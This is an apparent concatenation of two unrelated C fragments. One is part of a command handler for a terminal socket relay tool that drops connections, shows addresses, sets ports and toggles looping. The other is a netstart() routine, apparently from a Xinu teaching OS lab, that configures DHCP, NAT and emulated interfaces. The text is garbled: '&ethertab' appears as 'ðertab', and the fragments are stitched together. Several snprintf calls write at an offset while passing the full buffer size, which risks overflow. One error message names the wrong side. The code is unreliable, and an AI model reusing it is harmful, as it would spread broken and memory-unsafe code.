cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Output Direction: Left"); } } /* Drop right side connection */ else if (!strcmp(buffer[0], DROPR)) { datatoright (SOCKET_SHUTDOWN, co); drop_right (co, read_set); } /* Drop left side connection */ else if (!strcmp(buffer[0], DROPL)) { datatoleft (SOCKET_SHUTDOWN, co); drop_left (co, read_set); } /* Drops all connections */ else if (!strcmp(buffer[0], DROPA)) { datatoright (SOCKET_SHUTDOWN, co); drop_right (co, read_set); datatoleft (SOCKET_SHUTDOWN, co); drop_left (co, read_set); } /* Display information about right side connection */ else if (!strcmp(buffer[0], RIGHT)) { char temp[100]; bzero(temp, 100); int len = 0; if (co->NO_RIGHT) { len += snprintf(temp + len, 100, "[Local Port] * "); len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip()); len += snprintf(temp + len, 100, "[Remote Port] * "); len += snprintf(temp + len, 100, "[Remote IP] *"); } else if (co->RIGHT_FACING_SOCKET > co->RIGHT_FACING_SOCKET_LISTENING) { len += snprintf(temp + len, 100, "[Local Port] %s ", itoa(getlocalport(co->RIGHT_FACING_SOCKET))); len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip()); len += snprintf(temp + len, 100, "[Remote Port] %s ", itoa(getremoteport(co->RIGHT_FACING_SOCKET))); len += snprintf(temp + len, 100, "[Remote IP] %s", getremoteip(co->RIGHT_FACING_SOCKET)); } else { len += snprintf(temp + len, 100, "[Local Port] %s ", itoa(getlocalport(co->RIGHT_FACING_SOCKET_LISTENING))); len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip()); len += snprintf(temp + len, 100, "[Remote Port] * "); len += snprintf(temp + len, 100, "[Remote IP] *"); } cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, temp); } /* Display information about left side connection */ else if (!strcmp(buffer[0], LEFT)) { char temp[100]; bzero(temp, 100); int len = 0; if (co->NO_LEFT) { len += snprintf(temp + len, 100, "[Local Port] * "); len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip()); len += snprintf(temp + len, 100, "[Remote Port] * "); len += snprintf(temp + len, 100, "[Remote IP] *"); } else if (co->LEFT_FACING_SOCKET > co->LEFT_FACING_SOCKET_LISTENING) { len += snprintf(temp + len, 100, "[Local Port] %s ", itoa(getlocalport(co->LEFT_FACING_SOCKET))); len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip()); len += snprintf(temp + len, 100, "[Remote Port] %s ", itoa(getremoteport(co->LEFT_FACING_SOCKET))); len += snprintf(temp + len, 100, "[Remote IP] %s", getremoteip(co->LEFT_FACING_SOCKET)); } else { len += snprintf(temp + len, 100, "[Local Port] %s ", itoa(getlocalport(co->LEFT_FACING_SOCKET_LISTENING))); len += snprintf(temp + len, 100, "[Local IP] %s ", getlocalip()); len += snprintf(temp + len, 100, "[Remote Port] * "); len += snprintf(temp + len, 100, "[Remote IP] *"); } cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, temp); } /* Display left remote address information */ else if (!strcmp(buffer[0], LRADDR)) { if (inputcount > 1) { if (co->LEFT_FACING_SOCKET_LISTENING > co->LEFT_FACING_SOCKET || (co->LEFT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->LEFT_FACING_SOCKET == SOCKET_RESET)) { co->LEFT_REMOTE_ADDR = buffer[1]; char temp[100]; snprintf (temp, 100, "Left Remote Address changed to: '%s'", co->LEFT_REMOTE_ADDR); guiError (temp, *co); } else guiError ("Cannot change left remote address while left side is active. Please drop the left side.", *co); } else guiError ("Must specify an address.", *co); } /* Display right remote address information */ else if (!strcmp(buffer[0], RRADDR)) { if (inputcount > 1) { if (co->RIGHT_FACING_SOCKET_LISTENING > co->RIGHT_FACING_SOCKET || (co->RIGHT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->RIGHT_FACING_SOCKET == SOCKET_RESET)) { co->RIGHT_REMOTE_ADDR = buffer[1]; char temp[100]; snprintf (temp, 100, "Right Remote Address changed to: '%s'", co->RIGHT_REMOTE_ADDR); guiError (temp, *co); } else guiError ("Cannot change right remote address while right side is active. Please drop the right side.", *co); } else guiError ("Must specify an address.", *co); } /* Enable left looping */ else if (!strcmp(buffer[0], LOOPL)) { co->LOOP_LEFT = 1; if (co->LOOP_LEFT && co->LOOP_RIGHT) { co->LOOP_LEFT = 0; co->LOOP_RIGHT = 0; cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Looping Disabled"); } else { cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Left Loop Enabled"); } } /* Enable right looping */ else if (!strcmp(buffer[0], LOOPR)) { co->LOOP_RIGHT = 1; if (co->LOOP_LEFT && co->LOOP_RIGHT) { co->LOOP_RIGHT = 0; co->LOOP_LEFT = 0; cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Looping Disabled"); } else { cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); putInPromptLower(co->PROMPT_WINDOW, "Right Loop Enabled"); } } /* Set a new Left Local Port value */ else if (!strcmp (buffer[0], LLPORT)) { if (inputcount > 1) { if (co->LEFT_FACING_SOCKET_LISTENING > co->LEFT_FACING_SOCKET || (co->LEFT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->LEFT_FACING_SOCKET == SOCKET_RESET)) { int llport = atoi(buffer[1]); if (llport >= 1 && llport <= 65535) co->LEFT_LOCAL_PORT = llport; char temp[100]; snprintf (temp, 100, "Left Local Port changed to: %d", co->LEFT_LOCAL_PORT); guiError (temp, *co); } else guiError ("Cannot change left local port while left side is active. Please drop the left side.", *co); } else guiError ("Must specify a port value.", *co); } /* Set a new Right Local Port value */ else if (!strcmp (buffer[0], RLPORT)) { if (inputcount > 1) { if (co->RIGHT_FACING_SOCKET_LISTENING > co->RIGHT_FACING_SOCKET || (co->RIGHT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->RIGHT_FACING_SOCKET == SOCKET_RESET)) { int rlport = atoi(buffer[1]); if (rlport >= 1 && rlport <= 65535) co->RIGHT_LOCAL_PORT = rlport; char temp[100]; snprintf (temp, 100, "Right Local Port changed to: %d", co->RIGHT_LOCAL_PORT); guiError (temp, *co); } else guiError ("Cannot change right local port while left side is active. Please drop the right side.", *co); } else guiError ("Must specify a port value.", *co); } /* Set a new Left Remote Port value */ else if (!strcmp (buffer[0], LRPORT)) { if (inputcount > 1) { if (co->LEFT_FACING_SOCKET_LISTENING > co->LEFT_FACING_SOCKET || (co->LEFT_FACING_SOCKET_LISTENING == SOCKET_RESET && co->LEFT_FACING_SOCKET == SOCKET_RESET)) { int lrport = atoi(buffer[1]); if (lrport >= 1 && lrport <= 65535) co->LEFT_REMOTE_PORT = lrport; char temp[100]; snprintf (temp, 100, "Left Remote Port changed to: %d", co->LEFT_REMOTE_PORT); guiError (temp, *co); } else guiError ("Cannot change left remote port while left side is active. Please drop the left side.", *co); } else guiError ("Must specify a port value.", *co); } /* Default escape action */ else { cleanPrompt(co->PROMPT_WINDOW, &co->PROMPT); free (buffer); return 0; } free(buffer); return 1; }
void netstart (void) { char buffer[20]; /* input buffer */ int32 nchars; /* number Of characters read */ int32 i; /* counter from 0 to nchars */ bool8 found; /* was a valid answer found? */ char ch; /* one character from the buff. */ struct ifentry *ifptr; /* ptr to interface */ uint32 ipaddr; /* IP address on interface 0 */ uint32 suffix; /* host suffix to use on both */ /* othernet interfaces */ static uint32 rarindex = 1; /* next RAR index to use */ struct ether *ethptr; /* ptr to Ethernet control blk. */ char *ifnames[] = {"Lab Ethernet","Othernet 1","Othernet 2"}; /* Initialize network interfaces */ kprintf("...initializing network stack\n"); net_init(); /* Initialize NAT tables */ nat_init(); /* Delay because Ethernet driver doesn't work without it */ sleepms(800); /* Force system to use DHCP to obtain an address */ kprintf("...using dhcp to obtain an IP address\n"); ipaddr = getlocalip(); if (ipaddr == SYSERR) { panic("Error: could not obtain an IP address\n\r"); } kprintf("\nIP address is %d.%d.%d.%d (0x%08x)\n\r", (ipaddr>>24)&0xff, (ipaddr>>16)&0xff, (ipaddr>>8)&0xff, ipaddr&0xff,ipaddr); ifptr = &if_tab[0]; kprintf("Subnet mask is %d.%d.%d.%d and router is %d.%d.%d.%d\n\r", (ifptr->if_ipmask>>24)&0xff, (ifptr->if_ipmask>>16)&0xff, (ifptr->if_ipmask>> 8)&0xff, ifptr->if_ipmask&0xff, (ifptr->if_iprouter>>24)&0xff, (ifptr->if_iprouter>>16)&0xff, (ifptr->if_iprouter>> 8)&0xff, ifptr->if_iprouter&0xff); /* Ask the user for a Bing ID */ found = FALSE; while (!found) { printf("\n\rEnter a bing ID between 0 and 255: "); nchars = read(CONSOLE, buffer, 20); if ((nchars == SYSERR) || (nchars == EOF) || (nchars < 2)) { continue; } nchars--; /* Eliminate NEWLINE */ bingid = 0; for (i=0; i<nchars; i++) { ch = buffer[i]; if ( (ch<'0') || (ch>'9')) { break; } bingid = 10*bingid + (ch-'0'); } if ((i<nchars) || (bingid > 254)) { continue; } found = TRUE; } printf("Bing ID is set to %d.\n", bingid); /* Generate Othernet emulation addresses */ suffix = ipaddr & 0x0000ffff; /* suffix is last two bytes of */ /* the IP address */ ethptr = ðertab[0]; /* Othernet 1 */ ifptr = &if_tab[1]; ifptr->if_ipmask = 0xffff0000; /* 255.255.0.0. */ ifptr->if_ipprefix= 0x0a010000; /* 10.1.0.0/16 */ ifptr->if_ipucast = ifptr->if_ipprefix | suffix; ifptr->if_ipbcast = ifptr->if_ipprefix | ~ifptr->if_ipmask; ifptr->if_macucast[0] = 0x11; ifptr->if_macucast[1] = 0xff & (ipaddr >> 24); ifptr->if_macucast[2] = 0xff & (ipaddr >> 16); ifptr->if_macucast[3] = 0xff & (ipaddr >> 8); ifptr->if_macucast[4] = 0xff & (ipaddr >> 0); ifptr->if_macucast[5] = 0xff & bingid; e1000e_rar_set(ethptr, ifptr->if_macucast, rarindex++); ifptr->if_macbcast[0] = 0x11; ifptr->if_macbcast[1] = 0xff; ifptr->if_macbcast[2] = 0xff; ifptr->if_macbcast[3] = 0xff; ifptr->if_macbcast[4] = 0xff; ifptr->if_macbcast[5] = 0xff & bingid; e1000e_rar_set(ethptr, ifptr->if_macbcast, rarindex++); ifptr->if_ipvalid = TRUE; /* Othernet 2 */ ifptr = &if_tab[2]; ifptr->if_ipmask = 0xffff0000; /* 255.255.0.0. */ ifptr->if_ipprefix= 0x0a020000; /* 10.2.0.0/16 */ ifptr->if_ipucast = ifptr->if_ipprefix | suffix; ifptr->if_ipbcast = ifptr->if_ipprefix | ~ifptr->if_ipmask; ifptr->if_macucast[0] = 0x21; ifptr->if_macucast[1] = 0xff & (ipaddr >> 24); ifptr->if_macucast[2] = 0xff & (ipaddr >> 16); ifptr->if_macucast[3] = 0xff & (ipaddr >> 8); ifptr->if_macucast[4] = 0xff & (ipaddr >> 0); ifptr->if_macucast[5] = 0xff & bingid; e1000e_rar_set(ethptr, ifptr->if_macucast, rarindex++); ifptr->if_macbcast[0] = 0x21; ifptr->if_macbcast[1] = 0xff; ifptr->if_macbcast[2] = 0xff; ifptr->if_macbcast[3] = 0xff; ifptr->if_macbcast[4] = 0xff; ifptr->if_macbcast[5] = 0xff & bingid; e1000e_rar_set(ethptr, ifptr->if_macbcast, rarindex++); ifptr->if_ipvalid = TRUE; /* Ask the user what to run */ found = FALSE; while (!found) { printf("\nEnter r for router or hX for host on interface X: "); nchars = read(CONSOLE, buffer, 20); switch (nchars) { case 2: ch = buffer[0]; if ( (ch!='r') && (ch!='R')) { continue; } host = FALSE; ifprime = 0; found = TRUE; break; case 3: ch = buffer[0]; if ((ch!='h') && (ch!='H')) { continue; } ch = buffer[1]; if ( (ch<'0') || (ch>'2')) { continue; } ifprime = ch - '0'; host = TRUE; found = TRUE; break; default: continue; } } if (host) { printf("\nRunning host on %s\n\r", ifnames[ifprime]); if (ifprime != 0) { /* Shut off Ethernet and bring up other net */ if_tab[0].if_state = IF_DOWN; ifptr = &if_tab[ifprime]; ifptr->if_state = IF_UP; /* Set default route to router address */ if (ifptr->if_iprouter == 0) { ifptr->if_iprouter = ifptr->if_ipprefix | ROUTER_SUFFIX; } } } else { kprintf("Running a router\n\r"); for (i=0; i<NIFACES; i++) { ifptr = &if_tab[i]; ifptr->if_state = IF_UP; if (i != 0) { /* Set router address */ ifptr->if_ipucast = ifptr->if_ipprefix | ROUTER_SUFFIX; } } } return; }